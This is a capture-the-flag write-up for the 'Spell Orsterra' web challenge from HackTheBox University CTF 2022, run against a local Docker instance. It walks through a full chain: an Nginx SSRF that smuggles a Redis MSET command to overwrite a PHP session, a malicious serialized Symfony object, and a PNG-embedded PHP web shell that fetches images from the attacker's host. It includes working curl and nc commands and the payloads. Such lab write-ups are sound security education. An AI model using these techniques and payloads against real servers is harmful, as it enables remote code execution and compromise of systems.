Spell Orsterra was a hard web challenge released during the HackTheBox University CTF 2022. We had access to the source code of the application and some configuration files, a Dockerfile was also provided to test things locally.
The first thing we need to do is to identify what's available and what we need to do. We find that
the flag file is only readable using root privileges, fortunately there's a SUID binary called
readflag
that can be used to retrieve the flag, but that means we need to gain remote code
execution.
We can find inside the challenge's migrations
folder a file called db.sql
that will be used to
create some data inside the database. It will create some trackers and an account admin
with
the password admin
.
We also see there's a Symfony web application with two main features.
- A login form (where we can use the credentials we found)
- And an image generation feature that take a resource identifier and an email, verify some things and then push the image generation request to a message bus.
There's also a redis service running (accessible on port 6379
) and is used by the Symfony
application to store session data and transfer messages on the bus.
A Symfony service is also constantly running and pulls message from the bus (SubscribeNotification
instances) to create a SubscriptionNotificationHandler
instance. This class implements a complexe
destructor that create an instance of MapExportService
to generate an image and send it to an
email.
The MapExportService
is interesting, because it will fetch two images (the download location is
a variable on the instance, not a constant value) and then generate an image with these two images,
some texts and save it to a path controllable during the service's construction. Using knowledge
widely documented we know that we can have a valid PHP payload inside our file after the image
manipulation functions modify the image. So if we can save the file to a reachable location we can
execute arbitrary code and call the readflag
binary.
The last important component is a misconfigured Nginx server. Inside the configuraton file
proxy.conf
there's something really interesting. If the path of a request starts with
/assets/:variable/*
it will pass the request to http://:variable/*
. Meaning we have a SSRF
functionality and it also follows the first redirection.
To summarize, we have these componnents:
- A Nginx server that we can use to SSRF
- A Redis server that stores Symfony sessions and is used as a message bus.
- A PHP Service that can be abused to write anywhere a file containing valid PHP code.
- A PHP class that calls this service during its destruction.
Because PHP session can contains serialized PHP objects that will be unserialized when the session
is loaded, the idea is to use Nginx to contact the redis service and update our session so it
contains a malicious SubscriptionNotificationHandler
object, then use this object deserialization
to write a PHP file to a publicly accessible path and use it to retrieve the flag.
Abuse SubscribeNotificationHandler
's destructor to write a PHP file
Surprisingly, this part was the easiest because of all the documentation and tools that already exist.
During its destruction, SubscribeNotificationHandler
will create a MapExportService
instance and
call generateMap
on it.
To create the service's instance it will use some variables stored on itself:
$uuid
- To write some text on the image$map
and$stamp
- Paths (that need to start withhttp
) that will be downloaded and used to create the final image.$exportfile
- Where the file is stored.$x_coordinate
and$y_coordinate
- Used to write some text and display the$stamp
on the$map
.
We can extract the class in a PHP script and call it with arguments we control to see if it's possible to generate the image containing PHP code at the location we want.
$service = new MapExportService(
"unknown",
"http://$OUR_HOST/map.png",
"http://$OUR_HOST/stamp.png",
"shell.php",
1000,
1000
);
$service->generateMap();
The funny thing is that by just using the default stamp file and a file generated by PNG-IDAT-Payload-Generator as the map, the code above will create the file with the payload we want.
$ php poc.php && grep -F '<?=$_GET[0]($_POST[1]);?>' shell.php
grep: shell.php: binary file matches
Use Nginx to rewrite PHP sessions on Redis
The Nginx configuration contains something really interesting, in one of the location
configuration, it re-use part of the path as the host of the proxied server.
location ~ /assets/(.+)/ {
rewrite ^/assets/(.+)$ /$1 break;
# ...
proxy_pass http://$1;
proxy_set_header User-Agent "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0";
proxy_intercept_errors on;
error_page 301 302 307 = @handle_redirects;
# ...
}
This means that if we put an address after /assets/
it can be used to perform an SSRF attack.
We can verify this by listening for incoming tcp connection on our system and query the Nginx server
to receive some data.
Note: the address 172.17.0.1
is the address of my host machine and 172.17.0.2
is the Docker
container.
one$ nc -v -l 0.0.0.0 42069
two$ curl "http://127.0.0.1:1337/assets/172.17.0.1:42069/"
Then we'll receive the following output on our first command.
Listening on 0.0.0.0 42069
Connection received on 172.17.0.2 49536
GET / HTTP/1.0
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0
Host: 172.17.0.1:42069
Connection: close
Accept: */*
By playing a little with the path, we can see that if we urlencode something in the path
(for example %20
for a space) it will be rawly inserted into the first line.
one$ curl "http://127.0.0.1:1337/assets/172.17.0.1:42069/Hello%20world" -X HELLO
two$ # We see the following output.
Connection received on 172.17.0.2 55372
HELLO /Hello world HTTP/1.0
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0
Host: 172.17.0.1:42069
Connection: close
Accept: */*
We can also use any arbitrary method as long as its only uppercase letters, hyphen or underscore. But by playing we observe two things, we can't use newline in the path (otherwise the request will not be forwarded) and if we use multiple slash in a row, only one will be written.
We also see that we can't modify the User-Agent
header and is always followed by the Host
header.
If instead of forwarding the request to ourself but rather contact the redis server directly we can face some problem.
The redis protocol is similar to HTTP in the sense that it receives lines and will execute
the command on every one of them. To avoid being used by an HTTP client, redis introduced a security where
it exits if it receives a line starting with POST
or Host
.
This means that everything we have to do must fit in the first line the server receive.
As a reminder, the goal is to contact redis to modify a PHP session, when we connect directly to the redis we can see how the session look.
$ docker exec -it web_spell_orsterra redis-cli
$ KEYS *
1) "messages"
2) "sf_snl6qc49p0prnan9aak403pi3f0"
$ GET sf_snl6qc49p0prnan9aak403pi3f0
"_sf2_attributes|a:1:{s:8:\"loggedin\";b:1;}_sf2_meta|a:3:{s:1:\"u\";i:1670329814;s:1:\"c\";i:1670329814;s:1:\"l\";i:0;}"
The PHP session contains serialized objects, so if we introduce our malicious object inside it will write a PHP file where we wanted to when the session is loaded.
The session's format is sf_s
followed by the session id in the PHPSESSID
cookie. To modify its
content can use the SET
command of redis.
The problem is that the form of the command starts with SET key value
, if we set the correct
method and path during our SSRF, the key will always start with a slash (because it's the first
character of the request's path).
By looking at the other commands we find the MSET
command, which allows us to set multiple key and
value. This means that if we use /garbage%20garbage%20key%20value%20garbage/
as the path and
MSET
as the method, the first line sent to redis will look like the following.
MSET /garbage garbage key value garbage/ HTTP/1.0
We can now set arbitrary key to any value, almost. There is still a problem, in our malicious object
we need to have multiple slash in a row but Nginx will remove them. So we can abuse another feature
of the Nginx configuration. When the initial server returns a redirection status Nginx will follow
the redirection and use the Location
header as the next address to visit. It will keep the
original request's method and if there's multiple slash in a row in the url it will keep them.
Combining everything
Now that we can set arbitrary key on redis and know how to exploit a vulnerable component deserialization we can complete the exploitation by creating a vulnerable PHP script on the server and read the flag.
We'll use the following session id, this is completely arbitrary and not really important
42sch00lrulethiswasfun1337
.
We need to setup a server that will be used to redirect the Nginx client to the redis server and set
the correct redis key, we just create a file called response.txt
and open nc
. The redirection
will contain the vulnerable class serialized.
To create this vulnerable object we can use the following code.
class AppZMessageHandlerZSubscribeNotificationHandler {
public $email="unused";
public $uuid="unused";
public $export_file="shell.php";
public $x_coordinate=2000;
public $y_coordinate=2000;
public $map = 'http://172.17.0.1:42002/malicious.png';
public $stamp = 'http://172.17.0.1:42002/stamp.png';
}
$value = new AppZMessageHandlerZSubscribeNotificationHandler();
# We use str_replace to have something that looks like PHP namespaces without
# going through too much trouble.
echo str_replace("Z", "\\", serialize($value)) . "\n";
Then we use the output of the above code in our response.txt
file.
$ cat response.txt
HTTP/1.1 302 Found
Location: http://127.0.0.1:6379/ garbage sf_s42sch00lrulethiswasfun1337 'evil|O:47:"App\MessageHandler\SubscribeNotificationHandler":7:{s:5:"email";s:6:"unused";s:4:"uuid";s:6:"unused";s:11:"export_file";s:9:"shell.php";s:12:"x_coordinate";i:2000;s:12:"y_coordinate";i:2000;s:3:"map";s:37:"http://172.17.0.1:42002/malicious.png";s:5:"stamp";s:33:"http://172.17.0.1:42002/stamp.png";}' /garbage
Connection: close
$ cat response.txt | nc -v -l 0.0.0.0 42001
Then we start an http server to serve both PNG files.
$ npx http-server -c-1 -p42002
And finally trigger the SSRF to make the Nginx server talk to our server then to redis and then make a request on the Symfony application using our session, it needs to be on a route that needs authentication so it loads our session.
$ curl -X MSET 'http://127.0.0.1:1337/assets/172.17.0.1:42001/'
$ curl 'http://127.0.0.1:1337/admin/' -b 'PHPSESSID=42sch00lrulethiswasfun1337'
We can see that we received two request on the HTTP server serving the PNG files.
[2022-12-06T19:29:37.419Z] "GET /malicious.png" "undefined"
[2022-12-06T19:29:37.425Z] "GET /stamp.png" "undefined"
Now if we visit the /static/exports/shell.php
we see that our file was successfully uploaded.
We can now call the system
function to execute the /readflag
binary.
$ curl 'http://127.0.0.1:1337/static/exports/shell.php?0=system' -d '1=/readflag' -o- | strings
HTB{f4k3_fl4g_f0r_t3st1ng}